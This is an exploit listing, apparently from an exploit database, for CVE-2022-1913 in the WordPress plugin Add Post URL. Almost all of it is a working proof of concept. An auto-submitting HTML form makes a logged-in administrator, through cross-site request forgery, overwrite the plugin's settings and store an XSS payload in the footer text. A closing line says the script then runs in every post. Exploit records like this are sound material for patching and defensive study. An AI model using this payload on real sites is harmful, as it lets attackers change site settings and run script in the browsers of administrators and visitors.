Exploit for Add Post URL <= 2.1.0 - Arbitrary Settings Update to Stored XSS via CSRF CVE-2022-1913

## https://sploitus.com/exploit?id=WPEX-ID:2CAFEF43-E64A-4897-8C41-F0ED473D7EAD
<form id="test" action="https://example.com/wp-admin/options-general.php?page=wp-posturl/posturl-options.php" method="POST">
    <input type="text" name="add_url_by_default" value="true">
    <input type="text" name="header_text" value="">
    <input type="text" name="footer_text" value="<img src=x onerror=alert(/XSS/)>">
    <input type="text" name="add_to_home" value="true">
    <input type="text" name="add_to_page" value="true">
    <input type="text" name="add_to_category" value="true">
    <input type="text" name="add_to_tag" value="true">
    <input type="text" name="add_to_archive" value="true">
    <input type="text" name="add_to_single" value="true">
    <input type="text" name="add_to_feed" value="true">
    <input type="text" name="add_credit" value="true">
    <input type="text" name="Submit" value="Save Changes">
</form>
<script>
    document.getElementById("test").submit();
</script>

XSS will be triggered in all posts